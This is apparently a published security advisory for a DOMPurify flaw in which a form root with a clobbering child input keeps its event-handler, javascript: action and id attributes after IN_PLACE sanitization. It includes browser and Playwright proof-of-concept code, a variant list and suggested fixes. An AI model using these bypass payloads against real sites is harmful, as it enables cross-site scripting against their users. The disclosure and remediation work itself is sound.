GHSA-r47g-fvhr-h676 CVE-2026-49459
DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM
- Severity
- 6.1 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.36%
- Chance of exploitation in the next 30 days. Higher than 30.33% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- CWE-693 Protection Mechanism Failure
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- Fix
3.4.6- Upgrade dompurify to this version or later
Description
IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM
CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)
Summary
When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.
This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).
Affected
- DOMPurify ≤ 3.4.5, including
mainat89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that does
DOMPurify.sanitize(node, { IN_PLACE: true })wherenodeis built from untrusted HTML (e.g., parsed viacreateElement('template').innerHTML = dirtythentemplate.content.firstElementChildhanded in)
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)— the library builds the DOM itself inside_initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadowbodynamed properties (HTMLBodyElement does not carry[LegacyOverrideBuiltIns]) - IN_PLACE where the root is not an HTMLFormElement
- IN_PLACE where the attacker cannot place a clobber-named child inside the root
Vulnerability details
Code paths
[A] — _forceRemove at src/purify.ts:930-939:
const _forceRemove = function (node: Node): void {
arrayPush(DOMPurify.removed, { element: node });
try {
// eslint-disable-next-line unicorn/prefer-dom-node-remove
getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null
} catch (_) {
remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op
} // when the node has no parent
};
When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.
[B] — _sanitizeAttributes at src/purify.ts:1490-1492:
const _sanitizeAttributes = function (currentNode: Element): void {
_executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);
const { attributes } = currentNode;
/* Check if we have attributes; if not we might have a text node */
if (!attributes || _isClobbered(currentNode)) {
return; // [B] silently skips ALL attribute checks
} // for clobbered nodes
...
};
The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.
The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.
Iterator call site
src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:
const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);
while ((currentNode = nodeIterator.nextNode())) {
_sanitizeElements(currentNode); // returns `true` if killed — IGNORED
_sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip
...
}
If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.
Why the clobber works
In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.
Verified clobber targets (each name= value independently triggers _isClobbered):
name= value |
property _isClobbered checks |
typeof on clobbered form |
|---|---|---|
nodeName |
typeof element.nodeName !== 'string' |
object (an <INPUT>) |
setAttribute |
typeof element.setAttribute !== 'function' |
object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below |
namespaceURI |
typeof element.namespaceURI !== 'string' |
object |
insertBefore |
typeof element.insertBefore !== 'function' |
object |
hasChildNodes |
typeof element.hasChildNodes !== 'function' |
object |
childNodes |
!(element.childNodes && typeof element.childNodes.length === 'number') |
object — <INPUT> has no .length |
attributes |
!(element.attributes instanceof NamedNodeMap) |
object (an <INPUT> is not a NamedNodeMap) |
textContent |
typeof element.textContent !== 'string' |
object |
removeChild |
typeof element.removeChild !== 'function' |
object (non-callable) |
removeAttribute |
typeof element.removeAttribute !== 'function' |
object (non-callable) |
Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.
Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
// _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log('output:', root.outerHTML);
// <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
// ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^
document.body.appendChild(root);
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
console.log('handler fired:', window.__rooted === 1); // true
</script>
</body></html>
(2) End-to-end — Playwright against main HEAD
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.setContent('<!doctype html><html><body></body></html>');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(() => {
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
DOMPurify.sanitize(root, { IN_PLACE: true });
document.body.appendChild(root);
window.__rooted = 0;
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
return {
version: DOMPurify.version,
output: root.outerHTML,
handlerFired: window.__rooted === 1,
};
});
console.log(result);
await browser.close();
})();
Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):
{
version: '3.4.5',
output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
handlerFired: true
}
(3) Variant matrix — six distinct clobber-target properties
Every property name in _isClobbered's typeof checklist works as the bypass trigger:
[BYPASS] name="nodeName" → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute" → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore" → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes" → <form onmouseover="…"><input></form>
This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.
Impact
Direct
Two distinct impact paths from the same root-attribute-survival primitive:
(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:
const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);
If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.
(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:
action="javascript:..."andformaction="javascript:..."— URI validation at:1413never runs. A user click on a submit button inside the sanitized form navigates to thejavascript:URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.id="<colliding-name>"— the DOM-clobbering guard at:1352-1359(SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside_sanitizeAttributesand is skipped. An attacker can therefore landid="cookie",id="body",id="head",id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that doesdocument.cookie,document.body, etc.target="_top",autofocus,formenctype,formmethod— all survive untouched.- Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd
oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at:1361-1364never runs.
Verified — full attribute set survives on a single payload (PoC):
const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie'); // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
// onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
// id="cookie"><input></form>
(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:
const root = parseAttackerHtml(); // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true }); // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true }); // STILL bypassed: attrs survive
const recovered = (() => {
const t = document.createElement('template');
t.innerHTML = root.outerHTML; // forces a fresh parse
const r = t.content.firstElementChild;
DOMPurify.sanitize(r, { IN_PLACE: true });
return r;
})();
// recovered.outerHTML === '<form><input></form>' ← finally clean
A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.
(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same _sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.
Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:
const root = document.createElement('form');
root.setAttribute('title', '{{evil}}');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);
DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
console.log(root.outerHTML);
// <form title="{{evil}}" onmouseover="window.__x=1"><input></form>
// ^^^^^^^^^^^^^^^^ template syntax survives
This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).
(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)
Indirect / second-order
- DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
- Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
- Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does
el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outerelis fine (it's not the form), but if the first child ofelis taken as the sanitization root in a different code path, the bypass triggers.
Why current main is also vulnerable
Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.
Suggested fix
Two minimal-risk options:
-
Make
_forceRemovehonest about failure: return whether the node was actually detached, and have the iterator call site honor that.const _forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch (_) { try { remove(node); } catch (_) {} return node.parentNode === null && /* but still attached to itself */ false; } };Then at
:1855, if_sanitizeElementsreturns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.) -
Strip attributes inside
_sanitizeAttributesfor clobbered roots: when_isClobbered(currentNode)is true at:1490, instead of early-returning, iteratecurrentNode.attributes(using the cachedgetAttributesif you add one) and remove each viaremoveAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root. -
Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not
_isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."
Note on callable elements
In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
dompurify npm → 3.4.6
- npm
npm install dompurify@3.4.6- yarn
yarn add dompurify@3.4.6- pnpm
pnpm add dompurify@3.4.6
Severity breakdown
CVSS 3.1 6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
How to prevent it
- Implementation: By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
- Architecture and Design: By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
- Implementation: When handling untrusted objects, validating using a schema can be used.
- Implementation: By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
- Implementation: Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-cg2g-xh64-v4q7 DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes | Critical | Also affects dompurify |
| GHSA-mrv2-3pqr-j5jr DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) | High | Also affects dompurify |
| GHSA-c6gr-qvv4-5v3f DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml | Medium | Also affects dompurify |
| GHSA-6688-9rhm-gjv2 DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes | Medium | Also affects dompurify |
| GHSA-p98j-92pf-mc4p DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS | Low | Also affects dompurify |
| GHSA-55q2-fjhq-7xh7 DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS | Medium | Also affects dompurify |
| GHSA-c2j3-45gr-mqc4 DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements. | Low | Also affects dompurify |
| GHSA-cmwh-pvxp-8882 DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch) | Medium | Also affects dompurify |
Credits: offset
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor